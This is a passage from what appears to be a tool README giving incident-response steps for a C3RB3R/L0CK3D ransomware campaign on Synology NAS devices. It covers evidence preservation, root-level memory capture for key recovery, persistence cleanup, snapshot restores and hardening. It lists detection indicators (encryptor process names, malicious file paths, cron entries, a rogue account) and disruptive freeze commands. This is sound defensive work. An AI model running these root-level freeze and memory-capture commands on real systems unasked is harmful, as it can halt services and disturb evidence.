statement](https://www.synology.com/en-global/company/news/article/C3RB3R/Synology%20urges%20users%20to%20update%20DSM%20following%20ransomware%20attacks%20on%20outdated%20DSM%20versions)). ## Recovery steps ### 1. Preserve evidence and memory first (do not reboot or factory-reset immediately) - **[primary]** Isolate the NAS from the network immediately by unplugging the WAN uplink or disabling router port forwards, and only power down if you cannot disconnect the network, because powering off or rebooting destroys volatile memory evidence ([CISA #StopRansomware Guide](https://www.cisa.gov/stopransomware/ransomware-guide), [CISA: I've been hit by ransomware](https://www.cisa.gov/stopransomware/ive-been-hit-ransomware)). - **[primary / community]** While Synology's general ransomware KB jumps directly to a factory reset, Synology's 2014 SynoLocker advisory noted that resetting removes information needed for decryption, and the open-source `soimy/c3rb3r-rescue` tool can attempt to extract per-session key material from RAM only if the `libgld` encryptor process is still running and the NAS has not been rebooted (suspend the process with `kill -STOP` and dump process memory before stopping it) ([Synology ransomware KB](https://kb.synology.com/en-global/DSM/tutorial/What_to_do_when_NAS_attacked_by_ransomware), [Synology SynoLocker advisory](https://www.synology.com/en-uk/security/advisory/SynoLocker), [GitHub: soimy/c3rb3r-rescue](https://github.com/soimy/c3rb3r-rescue)). - **[community]** `nas incident contain --yes` does the freeze in one step: it finds processes that look like the encryptor (`libgld`, `qnetd`, executables in temporary folders, processes with `*.L0CK3D` or `read-me3.txt` files open for writing; a process whose executable is under a Synology path needs a reason besides those files), sends `SIGSTOP` to every thread of the processes the scan listed (same PID, start time and executable), and confirms each thread is in state `T`. PID 1, kernel threads and the scanning script with its parents are never signalled. `--stop-sync` also stops the running Cloud Sync, Synology Drive, Hyper Backup and Container Manager packages (stopping Container Manager stops every container); `--release` sends `SIGCONT` to the recorded PIDs and starts the packages it stopped ([GitHub: soimy/c3rb3r-rescue](https://github.com/soimy/c3rb3r-rescue)). - **[community]** `nas incident rescue --yes --capture-dir /SHARE/folder` runs the c3rb3r-rescue steps end to end: the freeze above, a clone of the toolkit at a pinned commit, `capture_process_memory.py` as root for each frozen PID into a new case folder (a USB disk or another volume than the encrypted data, compared by mount source; `--force-same-volume` for the same volume), the download to this computer, a venv with the toolkit's requirements installed with `pip --require-hashes` and its self-tests, and `recover_process_key.py` for key candidates; `--sample FILE` tests each candidate on a copy, `--decrypt-from DIR --decrypt-to DIR` decrypts copies. Each step is recorded in the workdir's `state.json`, and the same command continues where it stopped ([GitHub: soimy/c3rb3r-rescue](https://github.com/soimy/c3rb3r-rescue)). - **[press]** Guru3d, relaying HKEPC, recommends stopping all containers in Container Manager and pausing Hyper Backup and Cloud Sync, and pulling the network cable or cutting external and internal SMB access at the router ([Guru3d, 2026-10-29](https://www.guru3d.com/story/synology-nas-devices-hit-by-l0ck3d-ransomware-campaign/)). - **[primary]** Export forensic records before making changes: keep copies of `read-me3.txt` and several `.L0CK3D` files, export Log Center archives, and save `nas --json logs --limit 20000 > logs.json`, `nas --json inventory > inventory.json`, and `nas --json incident --deep > incident-deep.json` ([CISA #StopRansomware Guide](https://www.cisa.gov/stopransomware/ransomware-guide), [Guru3d, 2026-10-29](https://www.guru3d.com/story/synology-nas-devices-hit-by-l0ck3d-ransomware-campaign/)). ### 2. Do not pay the ransom - **[primary]** Neither the FBI nor Qihoo 360 supports paying a ransom: paying does not ensure decryption keys will be delivered or work, and there is no universal public decryptor for C3RB3R as of 2026-10-30 ([FBI ransomware guidance](https://www.fbi.gov/contact-us/field-offices/memphis/news/press-releases/fbi-memphis-field-office-reminds-tennesseans-about-the-risk-of-ransomware), [360, 2026-10-29](https://www.360.cn/n/13055.html), [CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/)). ### 3. Eradicate persistence before reconnecting - **[primary / community]** Installing a DSM update alone does not remove backdoors planted by an attacker; inspect and clean `/etc/cron.d/synot*`, DSM Task Scheduler tasks, `/bin/libgld`, `/bin/qnetd`, `/bin/l0ck.enc`, unauthorized accounts or home directories (such as `admin2`), and SSH `authorized_keys`, or perform a clean DSM reinstall after preserving evidence ([Midnight Blue RISK:STATION, 2024-11-01](https://www.midnightblue.nl/research/riskstation), [Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128), [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). ### 4. Restore data from Btrfs snapshots or offline backups - **[community / press]** Verify that the target Btrfs snapshot (`Snapshot Replication > Snapshots > select shared folder > Restore to this snapshot` or `#snapshot` in File Station) or offline/off-site Hyper Backup version predates the earliest `read-me3.txt` timestamp before restoring ([CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/), [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). - **[primary / community]** After restoring or reinstalling DSM, update DSM to a build that covers SA-26:19 and SA-26:13 (`nas upgrade --yes`, and verify `/etc.defaults/VERSION` `smallfixnumber`), update or stop SA-26:14 packages, rotate all administrator and service passwords, and run `nas incident --scan --deep` to confirm a clean state before reconnecting ([Synology-SA-26:19](https://www.synology.com/en-global/security/advisory/Synology_SA_26_19), [Synology-SA-26:13](https://www.synology.com/en-global/security/advisory/Synology_SA_26_13), [Synology-SA-26:14](https://www.synology.com/en-us/security/advisory/Synology_SA_26_14), [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). ## Prevention - **Patch DSM and packages:** Keep DSM on a build that covers SA-26:19, SA-26:13, and SA-24:20 (`nas status`, `nas upgrade --yes`) and keep Package Center packages updated for SA-26:14 (`nas inventory`, `nas incident fix --only packages`) ([Synology-SA-26:19](https://www.synology.com/en-global/security/advisory/Synology_SA_26_19), [Synology-SA-26:13](https://www.synology.com/en-global/security/advisory/Synology_SA_26_13), [Synology-SA-26:14](https://www.synology.com/en-us/security/advisory/Synology_SA_26_14)). - **Remove internet exposure:** Disable QuickConnect (`nas incident fix --only quickconnect`), disable UPnP router port-forwarding rules (`nas incident fix --only router_port_forwarding`), and enable a default-deny DSM firewall allowing only LAN/VPN subnets (`nas incident fix --only firewall`) ([Midnight Blue RISK:STATION](https://www.midnightblue.nl/research/riskstation), [Synology Firewall Help](https://kb.synology.com/en-global/DSM/help/DSM/AdminCenter/connection_security_firewall?version=7)). - **Harden authentication and protocols:** Disable the default `admin` account, enable 2-step verification, turn on AutoBlock, and set minimum SMB protocol to SMB2 (`nas incident fix --only admin_account,autoblock,smb_min_protocol`) ([Synology Security Tutorial](https://kb.synology.com/zh-tw/DSM/tutorial/How_to_add_extra_security_to_your_Synology_NAS)). - **Protect snapshots and offline backups:** Enable scheduled Btrfs snapshots (and Immutable Snapshots on supported models, while avoiding the WORM API lock on unsupported models via `nas incident fix --only snapshot_worm,snapshots --ransom-scan`) and maintain an offline or off-site 3-2-1 backup ([Synology Ransomware Prevention Tutorial](https://kb.synology.com/en-global/DSM/tutorial/How_can_I_prevent_ransomeware_attacks_on_my_Synology_device), [Synology WriteOnce KB](https://kb.synology.com/en-global/DSM/tutorial/which_synology_nas_models_support_WriteOnce_and_secure_snapshots)). - **Full checklist:** See [`HARDENING.md`](HARDENING.md) for the complete DSM hardening guide and [`TROUBLESHOOTING.md`](TROUBLESHOOTING.md) for lockout and recovery solutions ([CISA #StopRansomware Guide](https://www.cisa.gov/stopransomware/ransomware-guide)).